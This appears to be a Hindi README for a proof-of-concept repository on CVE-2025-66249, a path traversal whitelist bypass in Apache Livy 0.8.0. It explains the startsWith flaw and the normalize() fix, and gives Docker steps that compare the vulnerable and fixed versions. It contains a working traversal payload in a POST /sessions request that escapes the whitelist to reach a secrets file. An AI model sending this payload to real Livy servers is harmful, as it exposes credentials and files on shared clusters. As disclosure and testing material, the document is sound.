
Apache Livy Path Traversal Whitelist Bypass Vulnerability के लिए एक POC
केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। → पूर्ण अस्वीकरण
| क्षेत्र | विवरण |
|---|---|
| CVE ID | CVE-2025-66249 |
| गंभीरता | महत्वपूर्ण (CVSS N/A — NVD मूल्यांकन लंबित, 2026-03-15 तक) |
| प्रभावित | Apache Livy 0.3.0-incubating से 0.8.0-incubating तक — केवल जब livy.file.local-dir-whitelist को डिफ़ॉल्ट से भिन्न मान पर सेट किया गया हो |
| समाधान | Apache Livy 0.9.0-incubating में |
| CWE | CWE-22: प्रतिबंधित निर्देशिका में पथनाम की अनुचित सीमा ('पथ ट्रैवर्सल') |
| प्रकटीकरण | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| रिपोर्टर | हिरोकी एगावा (खोजकर्ता) |
एक प्रमाणित उपयोगकर्ता जिसके पास Livy के REST या JDBC इंटरफ़ेस तक पहुँच है, वह एक स्पार्क सत्र या बैच कार्य को तैयार फ़ाइल-पथ कॉन्फ़िगरेशन मान के साथ प्रस्तुत कर सकता है जो अनुमत निर्देशिका व्हाइटलिस्ट से बच जाता है।
मूल कारण — व्हाइटलिस्ट जाँच में पथ ट्रैवर्सल बाईपास (Session.scala)
जब livy.file.local-dir-whitelist कॉन्फ़िगर किया जाता है, तो Livy 0.8.0 सबमिट किए गए पथों को Java के String.startsWith() को कच्चे, सामान्यीकृत नहीं किए गए पथ पर कॉल करके मान्य करता है। इस जाँच को ../ ट्रैवर्सल अनुक्रमों का उपयोग करके बायपास किया जा सकता है:
/opt/safe-data/../sensitive/secret.txt
कच्चा स्ट्रिंग /opt/safe-data से शुरू होता है, इसलिए जाँच पास हो जाती है — लेकिन पथ हल होकर /opt/sensitive/secret.txt हो जाता है, जो पूरी तरह से व्हाइटलिस्टेड निर्देशिका के बाहर है।
ट्रिगर शर्त: इस भेद्यता का शोषण केवल तभी किया जा सकता है जब livy.file.local-dir-whitelist को डिफ़ॉल्ट (खाली) से भिन्न मान पर सेट किया गया हो। यदि व्हाइटलिस्ट खाली है (डिफ़ॉल्ट), तो पथ मान्यता पूरी तरह से छोड़ दी जाती है और समस्या प्रभावित नहीं होती।
प्रभाव: एक हमलावर जो Livy REST API के माध्यम से एक सत्र सबमिट करता है, वह Livy सर्वर होस्ट पर मनमानी स्थानीय फ़ाइलों को संदर्भित कर सकता है। एक साझा विश्लेषण क्लस्टर में इसका अर्थ है क्रेडेंशियल्स, कुंजियाँ, कॉन्फ़िगरेशन फ़ाइलें, या Livy प्रक्रिया उपयोगकर्ता द्वारा पढ़ी जा सकने वाली कोई भी डेटा का संभावित एक्सपोज़र।
Session.scalaअसुरक्षित (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
समाधान (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
दोनों संस्करण सीधे आधिकारिक Apache Livy GitHub रिपॉजिटरी से निम्नलिखित सटीक कमांड का उपयोग करके क्लोन किए गए:
रिपॉजिटरी: https://github.com/apache/incubator-livy
# असुरक्षित संस्करण — ./livy-0.8.0/ में क्लोन किया गया
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# समाधान संस्करण — ./livy-0.9.0/ में क्लोन किया गया
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| संस्करण | टैग | हल किया गया कमिट | स्थानीय पथ |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: व्हाइटलिस्ट जाँच से पहले Paths.get().normalize() import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
v0.8.0 में प्रभाव:
कच्चे स्ट्रिंग startsWith जाँच को पथ ट्रैवर्सल पेलोड से बायपास किया जा सकता है।
उदाहरण: यदि livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → सत्य (बायपास)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → असत्य (अवरुद्ध)दोनों टैग को स्थानीय रूप से क्लोन करके (ऊपर देखें) और चलाकर अंतर उत्पन्न किए गए:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
हमलावर (प्रमाणित REST/JDBC उपयोगकर्ता)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← पथ व्हाइटलिस्टेड उपसर्ग से शुरू होता है — String.startsWith() पास हो जाता है
← लेकिन ../ ट्रैवर्सल के माध्यम से निर्देशिका के बाहर हल होता है
}
}
│
▼
Livy 0.8.0 — व्हाइटलिस्ट जाँच बायपास (कच्चा startsWith, कोई सामान्यीकरण नहीं)
│
▼
स्पार्क फ़ाइल को पढ़ता है और निष्पादकों को वितरित करता है
│
▼
हमलावर कार्य आउटपुट / लॉग के माध्यम से फ़ाइल सामग्री प्राप्त करता है
इस PoC के सभी चरण निम्नलिखित सिस्टम पर निष्पादित और मान्य किए गए:
| घटक | विवरण |
|---|---|
| होस्ट OS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| कर्नेल | 6.17.0-14-generic x86_64 |
| आर्किटेक्चर | x86_64 |
| कुल मेमोरी | 15 GiB |
| डॉकर इंजन | 28.2.2 |
| होस्ट JDK | OpenJDK 17.0.18 (केवल होस्ट द्वारा उपयोग — कंटेनर eclipse-temurin:11-jdk-focal का उपयोग करते हैं) |
| कंटेनर आधार इमेज | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| स्पार्क संस्करण (दोनों इमेज) | 3.1.3 Hadoop 3.2 के साथ |
| Livy संस्करण — असुरक्षित इमेज | 0.8.0-incubating |
| Livy संस्करण — समाधान इमेज | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → इमेज: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → इमेज: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → एकल स्क्रिप्ट, दोनों वातावरणों के विरुद्ध अपरिवर्तित चलाएँ
पूर्ण अंत-से-अंत अनुक्रम — क्रम में चरण 1 से 4 का पालन करें:
चरण 1: असुरक्षित इमेज बनाएँ → कंटेनर शुरू करें → Livy ऊपर है सत्यापित करें
चरण 2: validate.sh चलाएँ → असुरक्षित (हमला HTTP 201) की पुष्टि करें → कंटेनर रोकें
चरण 3: समाधान इमेज बनाएँ → कंटेनर शुरू करें → Livy ऊपर है सत्यापित करें
चरण 4: validate.sh चलाएँ → समाधान (हमला HTTP 400) की पुष्टि करें → कंटेनर रोकें
नोट:
docker runके बाद Livy तैयार होने में लगभग 15–20 सेकंड लगते हैं। नीचे दिए गए सभी चरणों में किसी भी API कॉल से पहले एक स्पष्टsleep 20शामिल है।
फ़ाइलें:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — 0.0.0.0:8998 पर बाइंड, स्थानीय मोड, व्हाइटलिस्ट = /opt/safe-data1a. इमेज बनाएँ:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
सत्यापित करें — इमेज बनाई गई:
docker images cve-2025-66249-vulnerable
अपेक्षित आउटपुट:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. कंटेनर शुरू करें:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
सत्यापित करें — कंटेनर चल रहा है:
docker ps --filter name=livy-vulnerable
अपेक्षित आउटपुट:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. Livy शुरू होने की प्रतीक्षा करें, फिर REST API सत्यापित करें:
Livy को अनुरोध सेवा देने से पहले ~15–20 सेकंड लगते हैं।
sleep 20
curl -s http://localhost:8998/sessions
अपेक्षित आउटपुट:
{"from":0,"total":0,"sessions":[]}
1d. कंटेनर के अंदर निर्देशिका लेआउट सत्यापित करें:
पुष्टि करें कि व्हाइटलिस्टेड सुरक्षित फ़ाइल मौजूद है:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
अपेक्षित आउटपुट:
This file lives inside the whitelisted directory.
पुष्टि करें कि संवेदनशील फ़ाइल व्हाइटलिस्ट के बाहर मौजूद है:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
अपेक्षित आउटपुट:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
चरण 1 का असुरक्षित कंटेनर अभी भी पोर्ट 8998 पर चल रहा होना चाहिए।
test/validate.sh क्या परीक्षण करता है:
| # | हमला | पेलोड कुंजी | Livy 0.8.0 पर अपेक्षित परिणाम |
|---|---|---|---|
| 1 | Session.scala में String.startsWith() के माध्यम से पथ ट्रैवर्सल | ../ ट्रैवर्सल के साथ spark.jars | HTTP 201 — ट्रैवर्सल व्हाइटलिस्ट को बायपास करता है |
2a. स्क्रिप्ट चलाएँ:
bash test/validate.sh
नोट:
validate.shइस प्रकार काम करता है:
- यह
GET /sessionsको पोल करता है जब तक Livy प्रतिक्रिया नहीं देता (अधिकतम 60 सेकंड), सर्वर के तैयार होने की पुष्टि करता है।- यह
curlके माध्यम से एकPOST /sessionsअनुरोध भेजता है जिसमें व्हाइटलिस्ट के बाहर एक फ़ाइल (/opt/sensitive/secret.txt) को लक्षित करने वाला एक तैयारconfपेलोड होता है, जिसमें../ट्रैवर्सल का उपयोग किया जाता है।- यह HTTP प्रतिक्रिया कोड पढ़ता है: 201 का अर्थ है Livy ने बिना सामान्यीकरण के पथ स्वीकार कर लिया (असुरक्षित); 400 का अर्थ है Livy ने सामान्यीकरण के बाद इसे अस्वीकार कर दिया (समाधान)।
- यदि एक सत्र बनाया गया (HTTP 201), स्क्रिप्ट इसे तुरंत
DELETE /sessions/{id}के माध्यम से हटा देती है ताकि सर्वर साफ रहे।- परीक्षण के बाद यह एक सारांश प्रिंट करता है और कोड 1 (असुरक्षित) या 0 (समाधान) के साथ बाहर निकलता है, जो इसे स्वचालित पाइपलाइनों में उपयोग के लिए उपयुक्त बनाता है।
अपेक्षित आउटपुट:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. असुरक्षित कंटेनर को रोकें और हटाएँ:
docker stop livy-vulnerable && docker rm livy-vulnerable
सत्यापित करें — कंटेनर पूरी तरह से हटा दिया गया:
docker ps -a --filter name=livy-vulnerable
अपेक्षित आउटपुट (खाली — कोई पंक्ति नहीं):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
फ़ाइलें:
docker/fixed/Dockerfile — समान आधार इमेज और Spark 3.1.3, केवल Livy संस्करण 0.9.0-incubating में बदलता हैdocker/fixed/livy.conf — docker/vulnerable/livy.conf के समान (समान व्हाइटलिस्ट, पोर्ट, मोड)Spark, आधार इमेज और सभी कॉन्फ़िगरेशन को चरण 1 के समान रखने से Livy को एकमात्र चर के रूप में अलग किया जाता है।
3a. इमेज बनाएँ:
docker build -t cve-2025-66249-fixed docker/fixed/
सत्यापित करें — इमेज बनाई गई:
docker images cve-2025-66249-fixed
अपेक्षित आउटपुट:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. कंटेनर शुरू करें:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
सत्यापित करें — कंटेनर चल रहा है:
docker ps --filter name=livy-fixed
अपेक्षित आउटपुट:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. Livy शुरू होने की प्रतीक्षा करें, फिर REST API सत्यापित करें:
sleep 20
curl -s http://localhost:8998/sessions
अपेक्षित आउटपुट:
{"from":0,"total":0,"sessions":[]}
3d. कंटेनर के अंदर निर्देशिका लेआउट सत्यापित करें:
समाधान कंटेनर असुरक्षित वाले के समान फिक्स्चर का उपयोग करता है — यह पुष्टि करता है कि दोनों वातावरणों के बीच एकमात्र चर Livy संस्करण है।
पुष्टि करें कि व्हाइटलिस्टेड सुरक्षित फ़ाइल मौजूद है:
docker exec livy-fixed cat /opt/safe-data/safe.txt
अपेक्षित आउटपुट:
This file lives inside the whitelisted directory.
पुष्टि करें कि संवेदनशील फ़ाइल व्हाइटलिस्ट के बाहर मौजूद है:
docker exec livy-fixed cat /opt/sensitive/secret.txt
अपेक्षित आउटपुट:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
चरण 3 का समाधान कंटेनर पोर्ट 8998 पर चल रहा होना चाहिए। स्क्रिप्ट समान है — कोई बदलाव नहीं।
चरण 2 और चरण 4 के बीच क्या बदलता है:
Paths.get().normalize() से सामान्यीकृत करता है4a. स्क्रिप्ट चलाएँ:
bash test/validate.sh
अपेक्षित आउटपुट:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
त्रुटि संदेश क्या पुष्टि करता है:
| हमला | HTTP | त्रुटि संदेश | मूल कारण समाधान |
|---|---|---|---|
spark.jars के माध्यम से पथ ट्रैवर्सल | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Session.scala में Paths.get(...).normalize() जोड़ा गया; व्हाइटलिस्ट तुलना से पहले ../ को हल करता है |
4b. समाधान कंटेनर को रोकें और हटाएँ:
docker stop livy-fixed && docker rm livy-fixed
सत्यापित करें — कंटेनर पूरी तरह से हटा दिया गया:
docker ps -a --filter name=livy-fixed
अपेक्षित आउटपुट (खाली — कोई पंक्ति नहीं):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249 व्हाइटलिस्ट प्रवर्तन में एक एकल, लक्षित तर्क दोष है जो Livy के स्थानीय-फ़ाइलसिस्टम एक्सेस पथ की रक्षा करता है।
व्हाइटलिस्ट (livy.file.local-dir-whitelist) सभी प्रभावित संस्करणों में मौजूद थी और सही ढंग से कॉन्फ़िगर की गई थी। विफलता इस बात में थी कि व्हाइटलिस्ट का मूल्यांकन कैसे किया गया:
पथ ट्रैवर्सल बाईपास (एकमात्र कमजोरी): Session.scala में व्हाइटलिस्ट तुलना ने कच्चे पथ स्ट्रिंग पर Java के String.startsWith() का उपयोग किया। यह फ़ाइलसिस्टम पथ तुलना के लिए अपर्याप्त है क्योंकि यह .. ट्रैवर्सल खंडों को ध्यान में नहीं रखता है। एक पथ जैसे /opt/safe-data/../sensitive/secret.txt व्हाइटलिस्ट प्रविष्टि /opt/safe-data के विरुद्ध स्ट्रिंग जाँच को संतुष्ट करता है, फिर भी यह पूरी तरह से उसके बाहर एक स्थान पर हल होता है।
0.9.0 में समाधान न्यूनतम और लक्षित है: व्हाइटलिस्ट तुलना से पहले Paths.get().normalize() का एक कॉल जोड़ा गया है। यह startsWith जाँच चलने से पहले सभी .. खंडों को हल करता है, इसलिए ट्रैवर्सल पेलोड को सही ढंग से अनुमत निर्देशिका के बाहर इंगित करने वाले के रूप में पहचाना जाता है।
रक्षकों के लिए मुख्य बात: भेद्यता केवल तभी शोषणीय है जब livy.file.local-dir-whitelist को खाली से भिन्न मान पर सेट किया गया हो। जबकि इसका अर्थ है कि डिफ़ॉल्ट कॉन्फ़िगरेशन सीधे असुरक्षित नहीं है, कोई भी तैनाती जिसने व्हाइटलिस्ट को कड़ा किया है (अर्थात, स्पष्ट रूप से प्रतिबंधित किया है कि Livy किन निर्देशिकाओं तक पहुँच सकता है) विरोधाभासी रूप से वही उजागर है — क्योंकि यह व्हाइटलिस्ट की उपस्थिति है जो दोषपूर्ण कोड पथ को सक्रिय करती है। Livy 0.9.0-incubating में अपग्रेड करना एकमात्र पूर्ण उपचार है।
इस PoC या दस्तावेज़ीकरण को बेहतर बनाने के लिए योगदान का स्वागत है! कृपया सुनिश्चित करें कि कोई भी योगदान:
योगदान देने के लिए, एक पुल अनुरोध खोलें या प्रस्तावित परिवर्तन का वर्णन करते हुए एक मुद्दा दर्ज करें।
यह परियोजना MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।
यह रिपॉजिटरी केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। प्रमाण-अवधारणा भेद्यता तंत्र को समझने और रक्षात्मक उपायों में सहायता के लिए प्रदर्शित करता है। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security string-startswith-bypass
path-normalisation